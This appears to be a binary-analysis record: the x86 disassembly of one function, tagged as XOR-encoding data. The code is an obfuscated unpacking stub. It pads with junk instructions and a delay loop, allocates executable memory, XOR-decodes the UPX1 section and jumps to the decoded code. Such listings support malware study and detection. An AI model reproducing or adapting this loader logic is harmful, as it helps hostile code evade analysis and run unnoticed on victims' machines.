Function at 0x47afb8
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x3db73735
sub esi, edi
or edi, edi
popal
add esi, 1
or esi, esi
mov esi, 0
mov eax, ebx
add ecx, 0xae48309b
sub ecx, 0x182b050e
mov edx, eax
mov edi, ecx
add ecx, 1
mov ebx, edx
sub edi, 0xdc48156
add ecx, 0x22cc7650
inc esi
sub ecx, edi
mov ecx, 0x78ba22b7
cmp esi, 0x1009398
jne 0x47afd0
and edi, ecx
mov edi, 0x3239ff2d
not ecx
cmp esi, 0x1009398
je 0x47b022
mov ecx, 0
mov dword [ecx], ebx
add ecx, 0xb74c6a4e
mov ecx, 0x5b8a2283
mov edi, 0x212bb3e8
and esi, esi
add esi, 0xb5c33b4b
mov ebx, 0x47ada2
mov eax, 0x4f848947
and eax, eax
mov esi, 0x47af96
not ecx
add edx, 1
sub ecx, edx
mov edi, dword [ebx]
add edx, 0xc396995f
add edx, 0x1b90a263
and edi, 0xff
sub eax, edx
add eax, 0xead4250a
or eax, edx
xor dword [esi], edi
sub ecx, edx
dec edx
inc eax
add esi, 1
add eax, 0x3c8aaec8
mov eax, 0xc9ce5093
add ebx, 1
sub eax, ecx
and edx, eax
sub edx, ecx
cmp esi, entry0
jl 0x47b055
not eax
add edx, 1
sub edx, 0xd5e3bae1
mov edx, 0x3c3910a2
not ecx
not ebx
mov edx, 0x47af9a
dec esi
add ebx, ecx
mov ecx, 0x5be4ec1a
mov edx, dword [edx]
add ecx, ecx
sub esi, 1
and ebx, edi
mov edx, dword [edx]
sub edi, esi
or ebx, ecx
sub edi, 0x791738a
push edx
not ebx
not esi
add ecx, 0x664713b5
mov edx, 0x47af96
add esi, 0xfcc90be9
add ecx, 0xf52932b6
not esi
mov edx, dword [edx]
and ecx, esi
not ecx
mov edi, 0xb74b9503
mov edx, dword [edx]
add esi, 0x87fbc944
sub ecx, esi
add esi, esi
push 0x47af9e
mov edi, 0xcdb03e23
add ecx, 0xb52fcd70
sub ecx, 0xb96dc5d0
call edx
add esi, 0x6fc83e32
inc esi
pop edx
mov ebx, 0xb890e0a7
dec esi
push 0x47afab
or ebx, ecx
mov esi, 0x27d06fb0
push eax
not ecx
or esi, edi
call edx
sub esi, 0x85e0397e
or edi, edi
mov ecx, 0xb792063
push 0x40
or ecx, edi
not ebx
push 0x3000
add ebx, edi
or ebx, esi
inc esi
push 0x20000ebc
inc ebx
add ebx, 0x3765c6d
add esi, 1
push 0
dec ebx
sub ebx, 1
sub edi, 0xf56059f7
call eax
mov edi, ebx
sub ebx, esi
add ebx, 0x5b0f15f5
add eax, 0x20000e4f
dec ebx
and esi, esi
mov edx, 0x53f1f0ac
inc ecx
inc ebx
add ecx, edi
mov dword [eax], edx
add ecx, 0x78445c3
sub edi, 0x1cbe7985
mov edx, dword [eax]
not ecx
mov esi, ecx
add edi, 0xa3c0e388
cmp edx, 0x53f1f0ac
je 0x47b1d7
mov ecx, 0
mov eax, dword [ecx]
mov ebx, ecx
or edi, ecx
and esi, ecx
mov ebx, edi
add edi, ebx
sub ecx, ebx
not edi
or edi, edi
mov ecx, section.UPX1
add esi, 0xfe2d7355
mov esi, 0xc943911e
not edi
mov edx, 0x47ada1
add esi, 0xd973c257
mov esi, 0x4490dace
and edi, edi
mov ebx, 0
and edi, esi
sub edi, 0xdd911b9f
mov edi, 0xec44e745
mov eax, 0x47ada2
sub esi, 0xf705b10d
dec edi
lea eax, [ebx + eax]
sub edi, esi
add esi, edi
add edi, esi
mov eax, dword [eax]
add edi, 0x17dabdeb
add edi, edi
dec esi
and eax, 0xff
mov esi, edi
or edi, esi
inc ebx
not edi
add edi, esi
or edi, edi
cmp ebx, 0x1f4
jne 0x47b25b
mov ebx, 0
not edi
inc esi
or edi, esi
inc edi
and esi, edi
add edi, 0x307eaaf7
xor dword [ecx], eax
sub esi, edi
mov edi, esi
sub esi, 1
add ecx, 2
and edi, edi
and esi, edi
and edi, esi
cmp ecx, edx
jl 0x47b21d
sub edi, esi
add esi, esi
sub esi, 0x1357ee5c
or edi, esi
add edi, 0xc797573b
and edi, edi
mov esi, section.UPX1
not eax
inc edx
add edx, 1
mov edi, section.UPX1
or edx, edx
and edx, edx
mov ebx, 0x47ada1
add eax, 0x916fd1aa
sub eax, edx
add eax, eax
mov ecx, 0
sub edx, 0xc486d663
inc edx
mov cl, byte [edi]
mov edx, 0x2fa5501
dec eax
mov byte [esi], cl
or eax, eax
add edx, 0xdf4f7a9e
inc eax
inc esi
not edx
sub eax, 1
and eax, eax
add edi, 2
and edx, eax
sub eax, edx
or edx, edx
cmp edi, ebx
jle 0x47b2cf
or edx, eax
dec eax
inc edx
and esi, esi
add esi, 1
sub esi, edi
sub esp, 4
mov dword [esp], 0x45e6a0
mov edi, 0xd370c667
and esi, esi
add edi, esi
ret